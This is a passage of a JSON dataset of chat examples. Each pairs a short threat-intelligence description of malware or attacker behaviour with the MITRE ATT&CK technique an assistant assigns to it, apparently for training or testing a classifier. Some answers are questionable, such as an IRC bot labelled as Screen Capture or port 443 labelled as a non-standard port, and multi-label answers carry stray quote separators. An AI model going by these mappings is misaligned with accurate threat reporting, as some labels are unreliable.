                "content": "PwDumpVariant: This tool imports lsremora.dll (often downloaded by the attacker as part of the toolset) and uses the GetHash export of this DLL. On execution, the tool injects itself into lsass.exe and is triggered with the argument “dig"
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SysUpdate can search files on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has searched a victim's network for collaboration platforms like SharePoint to discover further high-privilege account credentials."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload associated with the campaign appears to be a new version of Zeus Panda, a banking trojan designed to stealing banking and other sensitive credentials for exfiltration by attackers. The payload that Talos analyzed was a multi-stage payload, with the initial stage featuring several anti-analysis techniques designed to make analysis more difficult and prolonged execution to avoid detection. It also featured several evasion techniques designed to ensure that the malware would not execute properly in automated analysis environments, or sandboxes. The overall operation of the Zeus Panda banking trojan has been well documented, however Talos wanted to provide additional information about the first stage packer used by the malware. The malware will first query the system's keyboard mapping to determine the language used on the system. It will terminate execution if it detects the any of the following keyboard mappings"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Comnie allows the attacker to provide and subsequently execute a batch script (BAT), executable file (EXE), or dynamic-link library (DLL)"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used emails containing Word, Excel and/or HWP (Hangul Word Processor) documents in their spearphishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ObliqueRAT can discover pluggable/removable drives to extract files from."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Embed \"scriptlets\" in generated payloads to perform some tasks \"offline\" without needing network connectivity (ex: start keylogger, add persistence, execute custom python script, check_vm, etc.)   Multiple Target Platforms:      Platform Support Status     Windows XP Supported   Windows 7 Supported   Windows 8 Supported   Windows 10 Supported   Linux Supported   Mac OSX Limited Support   Android Limited Support    Documentation All documentation can be found on the wiki"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API', 'T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has disabled and uninstalled security tools such as Alibaba, Tencent, and BMC cloud monitoring agents on cloud-based infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Strings in the backdoor are encrypted using a custom algorithm that uses XOR with a 4-byte key"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aquatic Panda has attempted to stop endpoint detection and response (EDR) tools on compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has sent spearphishing emails to potential targets that contained a malicious link."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On a different system, operators dropped a legitimate copy of credwize.exe, the Microsoft Credential Backup and Restore Wizard, on disk and used it to execute the malicious library New.dll, another Turian variant"
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can establish persistence by creating a .lnk file in the Start menu."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has made use of Python-based remote access tools."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Bluetooth functionality in Flamer is encoded in a module called \"BeetleJuice\". This module is triggered according to configuration values set by the attacker. This means that a computer compromised by W32.Flamer will appear when any other Bluetooth device scans the local area. In addition to enabling a Bluetooth beacon, Flamer encodes details about the infected computer (see Figure 1) and then stores these details in a special 'description' field. When any other device scans for Bluetooth-enabled devices, this description field will be displayed: These are the facts of how Flamer uses Bluetooth. The attacker, however, could identify the location of compromised devices using Bluetooth. The Beetlejuice module already has retrieved a list of all the devices IDs which are near to the infected computer and so the attacker knows what devices belong to the victim. Some attacks have even identified Bluetooth devices more than one mile away. With increase functionality an attacker, having identified various Bluetooth devices in range, could perform numerous attacks: - Steal contacts from an address book, steals SMS messages, steals images, and more. An attacker within one mile of the target could use their own Bluetooth-enabled device for this. If the second computer is using a secured network and was infected through a USB connection, potentially the only network available would be a Bluetooth connection back to the first compromised computer"
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This exception invokes the exception handler containing the HTTP communication code, allowing it to run"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Higaisa used AES-128 to encrypt C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLATINUM has leveraged a zero-day vulnerability to escalate privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Magic Hound campaign was also discovered deploying an IRC Bot, which we have named MagicHound.Leash. We discovered this connection when we observed a DropIt sample installing a backdoor Trojan that used IRC for its C2 communications"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Variants of  encrypt payloads using various XOR ciphers, as well as a custom algorithm that uses the \"srand\" and \"rand\" functions."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Linux Rabbit attempts to gain access to the server via SSH."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used a screen capture utility to take screenshots on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hacking Team UEFI Rootkit is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit', 'T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used pass the hash for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork developed a file stealer to search C:\\ and collect files with certain extensions. Patchwork also executed a script to enumerate all drives, store them as a list, and upload generated files to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pasam creates a backdoor through which remote attackers can delete files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TAINTEDSCRIBE can execute \"FileRecvWriteRand\" to append random bytes to the end of a file received from C2."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has used encoded PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has collected various files from the compromised computers."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PcShare has been named `wuauclt.exe` to appear as the legitimate Windows Update AutoUpdate Client."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ember Bear has attempted to lure victims into executing malicious files."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We at Team Nautilus detected and analyzed the Docker Hub account hildeteamtnt, which was used by TeamTNT to store their malicious images. Also, ‘minerescape’ contained a shell script executing a Python file - minedaemon.py. Using a web service (iplogger[.]org) to transmit collected data to the attacker during the discovery process, for instance, the number of cores in the CPU, its speed, system details (using uname -a), and targeted host IP address. Logging the activity and encoding it into files (using Base64). The script sbs.sh: - Downloading 00.jpg (as /usr/bin/dns_ipv4.tar.gz) which is the file /usr/bin/bioset. Creating a child process that listens to the socket and communicates with the father using a method called ‘Named PIPE’ (also known as FIFO). The father is responsible for deciphering messages and writing it back to the child on the PIPE. Creating a child process that listens to the socket and communicates with the father using a method called ‘Named PIPE’ (also known as FIFO). - The father is responsible for deciphering messages and writing it back to the child on the PIPE. Logging the activity and encoding it into files (using Base64). - Defense Evasion: Deleting command history. Logging the activity and encoding it into files (using Base64). Defense Evasion Techniques: Removing system logs (/var/log/syslog). Deleting command history. Logging the activity and encoding it into files (using Base64). - Defense Evasion Techniques: Removing system logs (/var/log/syslog). Deleting command history. Encoding many snippets with base64 (the same snippet may be encoded multiple times). To sum it up . Over four months, TeamTNT uploaded various images, with some being used to perform attacks in the wild"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Imminent Monitor has the capability to run a cryptocurrency miner on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can enumerate the username on targeted hosts."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obfuscates C2 communication using a 1-byte XOR with the key 0xBE."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MCMD can use Registry Run Keys for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerShower has the ability to identify the current user on the infected host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has attempted to lure victims into opening malicious email attachments."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has encrypted C2 traffic with RSA."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can execute commands on the victim."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cardinal RAT sets \"HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load\" to point to its executable."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses HTTP POST requests with data formatted using a custom protocol."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRatReporter used the Windows function \"GetExtendedUdpTable\" to detect connected UDP endpoints."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When executed, QakBot will check whether it has previously been executed on the machine by checking for the specified malware folder. If QakBot discovers it is a first time run, it will relaunch itself from cmd.exe with the /C parameter that will inform the loader to proceed and run its Anti-VM checks on the machine and return the results to the parent process. If QakBot detects it is running in a VM environment, then the final payload will not be decrypted since QakBot uses the return value from these checks in its final decryption routine. Figure 7 below shows the QakBot environment check logic"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery', 'T1055.012 - Process Injection: Process Hollowing', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "samples have been signed with a code-signing certificates."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Download & execute Startup (with persistence) Collection of system information (OS, version, installed location, etc.) Self-update Uninstall  This project was created by a user called zettabithf which is linked to a user with the same name in Hack Forums"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ryuk has constructed legitimate appearing installation folder paths by calling \"GetWindowsDirectoryW\" and then inserting a null byte at the fourth character of the path. For Windows Vista or higher, the path would appear as \"C:\\Users\\Public\"."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The output of the downloaded batch file is saved to “%PUBLIC%\\Libraries\\tp\\&lt;batch filename&gt;.txt”. The script will then upload the output of this batch file by including the data in a sequence of DNS queries. The exfiltrates the output of the batch script by splitting up the data within the text file into chunks up to 23 bytes and sends the data within a series of DNS queries that have the following structure"
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reg may be used to find credentials in the Windows Registry."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TAINTEDSCRIBE can change the timestamp of specified filenames."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has detached network shares after exfiltrating files, likely to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal on Host: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The initial DNS query sent by the payload to obtain the system specific identifier uses the following structure, which includes the current process identifier (PID) as the subdomain of the C2 domain: <current process id>.<c2 domain> The C2 server will provide the system specific identifier within the answer portion of the DNS response"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 was able to get SUNBURST signed by SolarWinds code signing certificates by injecting the malware into the SolarWinds Orion software lifecycle."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HARDRAIN binds and listens on port 443 with a FakeTLS method."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remsec harvests plain-text credentials as a password filter registered on domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has used a utility called CLOSESHAVE that can securely delete a file from the system. They have also removed malware, tools, or other non-native files used during the intrusion to reduce their footprint or as part of the post-intrusion cleanup process."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fox Kitten has used PowerShell scripts to access credential data."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZIRCONIUM has created a run key named \"Dropbox Update Setup\" to mask a persistence mechanism for a malicious binary."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo can collect screenshots of the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak has downloaded a variety of modules and payloads to the compromised host, including IcedID and Ursnif."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Truvasys adds a Registry Run key to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Linux Rabbit opens a socket on port 22 and if it receives a response it attempts to obtain the machine's hostname and Top-Level Domain."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used a UEFI (Unified Extensible Firmware Interface) rootkit known as LoJax."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses HTTP for C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 used the \"Get-ManagementRoleAssignment\" PowerShell cmdlet to enumerate Exchange management role assignments through an Exchange Management Shell."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kwampirs collects a list of running services with the command \"tasklist /svc\"."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "exfiltrates collected files over FTP or WebDAV. Exfiltration servers can be separately configured from C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Python script was created for the purpose of automating this configuration file decoding process. The output of this script when run against the configuration file used by the first of the two Parliamentarian operation samples yielded the following data"
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
